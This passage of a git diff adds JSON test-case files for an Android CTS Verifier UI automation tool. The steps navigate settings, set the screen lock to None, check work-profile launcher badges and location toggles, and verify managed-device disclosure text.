backup\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":527.75,\"x2\":346.0,\"y2\":591.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"System\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":527.75,\"x2\":360.0,\"y2\":591.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":94.0,\"y\":547.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":86.0,\"y\":12.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"37670940-29d2-48ea-bcd5-661b52292b70\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"System\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":54.0,\"y1\":536.0,\"x2\":134.0,\"y2\":559.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, System\",\"actionId\":\"f5de4a41-f099-455e-83c1-b2dd9ee81658\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"System\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Languages & input\",\"actionId\":\"4a0799fd-a093-4370-9d7a-7b001f55b0ff\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Languages & input\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, On-screen keyboard\",\"actionId\":\"8253c9ba-f498-4d59-bd5b-d712d9f29437\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"On-screen keyboard\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Manage on-screen keyboards\",\"actionId\":\"09a1c32e-1dd2-478d-8d93-51376ec2f2a4\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Manage on-screen keyboards\"}],\"childrenIdList\":[\"873c31a5-9dd5-46fe-9f4a-6414a68a17e1\",\"f5de4a41-f099-455e-83c1-b2dd9ee81658\",\"4a0799fd-a093-4370-9d7a-7b001f55b0ff\",\"8253c9ba-f498-4d59-bd5b-d712d9f29437\",\"09a1c32e-1dd2-478d-8d93-51376ec2f2a4\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Launch Dummy input method","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.165000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/72f62d5f-9a3a-4c4d-813c-96614b1c5845 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/72f62d5f-9a3a-4c4d-813c-96614b1c5845
new file mode 100644
index 0000000..85ffcce
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/72f62d5f-9a3a-4c4d-813c-96614b1c5845
@@ -0,0 +1 @@
+{"uuid":"72f62d5f-9a3a-4c4d-813c-96614b1c5845","details":"{\"type\":\"CompoundAction\",\"name\":\"Set screen lock to \\\"None\\\"\",\"actionId\":\"72f62d5f-9a3a-4c4d-813c-96614b1c5845\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, None\",\"actionId\":\"6041407c-09ac-407b-b05a-33553854224b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"None\"},{\"type\":\"ConditionClickAction\",\"name\":\"Click Yes, remove to confirm action\",\"actionId\":\"66468a57-ed85-4614-8f1a-1257aab3f956\",\"actionType\":\"CONDITION_CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Yes, remove\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"f4afdd99-a4ce-4f66-8ca1-fb83967f209e\",\"displayText\":\"Yes, remove\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"f2486fa8-7621-4fda-a357-524f26caa02e\",\"displayText\":\"Cancel\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"25a08419-4f7e-485d-92ee-08269d0a3e94\",\"displayText\":\"Cancel\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"android:id/button2\",\"text\":\"Cancel\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":175.33333333333334,\"y1\":411.3333333333333,\"x2\":236.0,\"y2\":458.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Cancel\"},{\"uuid\":\"c244e5bb-2724-48f0-9e9c-c98a52ffd5d0\",\"displayText\":\"Yes, remove\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"android:id/button1\",\"text\":\"Yes, remove\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":236.0,\"y1\":411.3333333333333,\"x2\":326.0,\"y2\":458.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-3.5,\"y\":-1.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Yes, remove\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":23.333333333333332,\"y1\":407.6666666666667,\"x2\":336.6666666666667,\"y2\":462.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Cancel\"}],\"className\":\"android.widget.ScrollView\",\"resourceId\":\"com.android.settings:id/buttonPanel\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":23.333333333333332,\"y1\":407.6666666666667,\"x2\":336.6666666666667,\"y2\":462.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":284.5,\"y\":436.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-104.5,\"y\":-1.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"c244e5bb-2724-48f0-9e9c-c98a52ffd5d0\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Yes, remove\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":242.0,\"y1\":421.0,\"x2\":327.0,\"y2\":451.0}}],\"childrenIdList\":[\"9be89845-047e-4ef4-98dc-caa8cd186c76\",\"0ce4e1fa-96a5-4d0d-aa86-a410676c6bf7\",\"bb6f039b-70ef-41a6-9880-20e383ba74d5\",\"3efd7d24-773f-4254-9432-207fa91ad20f\",\"6041407c-09ac-407b-b05a-33553854224b\",\"66468a57-ed85-4614-8f1a-1257aab3f956\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Set screen lock to \"None\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.042000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/731c2600-1169-402e-91ee-98a4dd31506f b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/731c2600-1169-402e-91ee-98a4dd31506f
new file mode 100644
index 0000000..e3e093a
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/731c2600-1169-402e-91ee-98a4dd31506f
@@ -0,0 +1 @@
+{"uuid":"731c2600-1169-402e-91ee-98a4dd31506f","details":"{\"type\":\"CompoundAction\",\"name\":\"03_Badged work apps visible in launcher(Check image)\",\"actionId\":\"731c2600-1169-402e-91ee-98a4dd31506f\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Badged work apps visible in Launcher\",\"actionId\":\"11661e72-29e0-4ee9-8227-795f4d61fa9d\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Badged work apps visible in Launcher\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"68729ba3-e1f2-4e21-9de2-2e9602cc69e0\",\"displayText\":\"Badged work apps visible in Launcher\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Badged work apps visible in Launcher\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":450.6666666666667,\"x2\":360.0,\"y2\":492.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":122.5,\"y\":472.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":57.5,\"y\":-0.3333333333333144,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"68729ba3-e1f2-4e21-9de2-2e9602cc69e0\",\"firstText\":\"Badged work apps visible in Launcher\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Badged work apps visible in Launcher\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":3.0,\"y1\":461.0,\"x2\":242.0,\"y2\":483.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Badged work apps visible in Launcher\",\"actionId\":\"8c9faf8b-c7ad-4098-9e49-d57bf46afb58\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Badged work apps visible in Launcher\"},{\"type\":\"SwipeAction\",\"name\":\"up\",\"actionId\":\"69a9401c-6b32-49a9-8da6-f0b78883bd35\",\"actionType\":\"SWIPE_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"pololee\",\"startX\":180,\"startY\":620,\"endX\":180,\"endY\":320,\"startPointNodeContext\":null,\"endPointNodeContext\":null},{\"type\":\"ConditionValidationAction\",\"name\":\"Click Next if needed\",\"actionId\":\"c0ffce6f-96f4-4f75-958b-d8ecbadc6b04\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.google.android.apps.nexuslauncher:id/proceed\"}]},\"clickAfterValidation\":true},{\"type\":\"ConditionValidationAction\",\"name\":\"Click Got it if needed\",\"actionId\":\"cd9a46d9-ff00-4308-8d62-b826118fc17e\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.google.android.apps.nexuslauncher:id/proceed\"}]},\"clickAfterValidation\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/tab_work\",\"actionId\":\"096f366a-1767-430f-a2fd-ad7b7c36ac4b\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.google.android.apps.nexuslauncher:id/tab_work\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-assert present for Work CTS Verifier\",\"actionId\":\"c0cd11be-bf46-4044-8dd7-946d7706142c\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.google.android.apps.nexuslauncher:id/icon\"},{\"field\":\"contentDesc\",\"operator\":\"=\",\"value\":\"Work CTS Verifier\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-assert present for Work Contacts\",\"actionId\":\"fe3b2f43-c8db-4703-b035-fadf8a84193a\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.google.android.apps.nexuslauncher:id/icon\"},{\"field\":\"contentDesc\",\"operator\":\"=\",\"value\":\"Work Contacts\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-assert present for Work Files\",\"actionId\":\"cabdeb7a-9838-44c9-afc0-1879c9828bcc\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.google.android.apps.nexuslauncher:id/icon\"},{\"field\":\"contentDesc\",\"operator\":\"=\",\"value\":\"Work Files\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-assert present for Work Play Store\",\"actionId\":\"3215a8f0-9d89-4972-a264-b9b5fec28224\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.google.android.apps.nexuslauncher:id/icon\"},{\"field\":\"contentDesc\",\"operator\":\"=\",\"value\":\"Work Play Store\"}]},\"clickAfterValidation\":false},{\"type\":\"ScreenCapAction\",\"name\":\"SCREEN CAP\",\"actionId\":\"29851d63-3386-43d5-bafe-f457d6cdcc86\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"pololee\"},{\"type\":\"InputAction\",\"name\":\"Overview Button\",\"actionId\":\"aa2075de-6f72-4a9c-b6f3-08b0266d6c83\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":187,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, CTS Verifier\",\"actionId\":\"cb4d3398-643b-4387-ae26-05cb1ce2c9fe\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":false,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"CTS Verifier\"}],\"childrenIdList\":[\"cf1e8e8c-2104-46f1-8b28-4d372b86fc49\",\"11661e72-29e0-4ee9-8227-795f4d61fa9d\",\"8c9faf8b-c7ad-4098-9e49-d57bf46afb58\",\"b70fe893-88de-4879-90ab-c2929211baa8\",\"69a9401c-6b32-49a9-8da6-f0b78883bd35\",\"c0ffce6f-96f4-4f75-958b-d8ecbadc6b04\",\"cd9a46d9-ff00-4308-8d62-b826118fc17e\",\"096f366a-1767-430f-a2fd-ad7b7c36ac4b\",\"c0cd11be-bf46-4044-8dd7-946d7706142c\",\"fe3b2f43-c8db-4703-b035-fadf8a84193a\",\"cabdeb7a-9838-44c9-afc0-1879c9828bcc\",\"3215a8f0-9d89-4972-a264-b9b5fec28224\",\"29851d63-3386-43d5-bafe-f457d6cdcc86\",\"aa2075de-6f72-4a9c-b6f3-08b0266d6c83\",\"cb4d3398-643b-4387-ae26-05cb1ce2c9fe\",\"11862730-912f-4b3c-99d6-cff28c749559\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"03_Badged work apps visible in launcher(Check image)","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.293000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/73572186-21d3-4f07-9b89-dd5f35a0a943 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/73572186-21d3-4f07-9b89-dd5f35a0a943
new file mode 100644
index 0000000..2c88fee
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/73572186-21d3-4f07-9b89-dd5f35a0a943
@@ -0,0 +1 @@
+{"uuid":"73572186-21d3-4f07-9b89-dd5f35a0a943","details":"{\"type\":\"CompoundAction\",\"name\":\"Assert the work profile location go enabled and into its previous state on\",\"actionId\":\"73572186-21d3-4f07-9b89-dd5f35a0a943\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Assert the work profile location go enabled and into its previous state on\",\"actionId\":\"4d35205e-62f2-4db0-86f3-2ef8b345b2d7\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.uicd_python_util import UICDPythonUtil\\n \\nuicd_util = UICDPythonUtil()\\nd = Device.create_device_by_slot(0)\\n\\nresult = d.text(\\\"Location for work profile\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"enabled\\\", \\\"true\\\").attributes(\\\"checked\\\", \\\"true\\\").verify_exist()\\nuicd_util.assert_true(result, \\\"Element not found\\\")\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"4d35205e-62f2-4db0-86f3-2ef8b345b2d7\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Assert the work profile location go enabled and into its previous state on","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.287000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/740de7a4-51a7-411c-bf5f-424945116764 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/740de7a4-51a7-411c-bf5f-424945116764
new file mode 100644
index 0000000..dd8459f
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/740de7a4-51a7-411c-bf5f-424945116764
@@ -0,0 +1 @@
+{"uuid":"740de7a4-51a7-411c-bf5f-424945116764","details":"{\"type\":\"CompoundAction\",\"name\":\"Click Start Test button\",\"actionId\":\"740de7a4-51a7-411c-bf5f-424945116764\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, id/start_test_button\",\"actionId\":\"638c0034-c345-4745-8b4c-0c7e66487992\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/start_test_button\"}],\"childrenIdList\":[\"638c0034-c345-4745-8b4c-0c7e66487992\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click Start Test button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.002000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/764101e3-1eaa-47e8-854f-68434c4c994c b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/764101e3-1eaa-47e8-854f-68434c4c994c
new file mode 100644
index 0000000..698c0dfb
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/764101e3-1eaa-47e8-854f-68434c4c994c
@@ -0,0 +1 @@
+{"uuid":"764101e3-1eaa-47e8-854f-68434c4c994c","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify that on the lock screen, you are told the device is managed\",\"actionId\":\"764101e3-1eaa-47e8-854f-68434c4c994c\",\"actionType\":\"COMPOUND_ACTION\",\"delayAfterActionMs\":5000,\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"Verify that on the lock screen, you are told the device is managed\",\"actionId\":\"fc9d9997-934f-4854-a5a8-ed585a6b8c0e\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"This device belongs to your organization\"}]},\"clickAfterValidation\":false}],\"childrenIdList\":[\"fc9d9997-934f-4854-a5a8-ed585a6b8c0e\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify that on the lock screen, you are told the device is managed","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.192000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/76a9632c-6b66-4bec-9423-e4f09af91996 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/76a9632c-6b66-4bec-9423-e4f09af91996
new file mode 100644
index 0000000..6526f00
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/76a9632c-6b66-4bec-9423-e4f09af91996
@@ -0,0 +1 @@
+{"uuid":"76a9632c-6b66-4bec-9423-e4f09af91996","details":"{\"type\":\"CompoundAction\",\"name\":\"16-17-Add account disclosure\",\"actionId\":\"76a9632c-6b66-4bec-9423-e4f09af91996\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Add account disclosure\",\"actionId\":\"db64ba55-882e-4245-b9a7-f556f7b07f9b\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Add account disclosure\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"0defb877-68cd-4158-a594-95cf13b0686f\",\"displayText\":\"Add account disclosure\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Add account disclosure\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":8.666666666666666,\"y1\":652.0,\"x2\":351.3333333333333,\"y2\":694.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":95.0,\"y\":672.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":85.0,\"y\":1.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"0defb877-68cd-4158-a594-95cf13b0686f\",\"firstText\":\"Add account disclosure\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Add account disclosure\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":3.0,\"y1\":655.0,\"x2\":187.0,\"y2\":689.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Add account disclosure\",\"actionId\":\"7ac9fd8e-5bc6-4eca-ab70-d8ec6f8d4820\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Add account disclosure\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that you are told that the device is managed\",\"actionId\":\"6bc591c0-30a1-41bd-9164-b4ebb6e46c03\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"This device is managed by your organization. Learn more\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"474d0fdc-e219-4ae8-873d-3b7292c34772\",\"displayText\":\"This device is managed by your organization. Learn 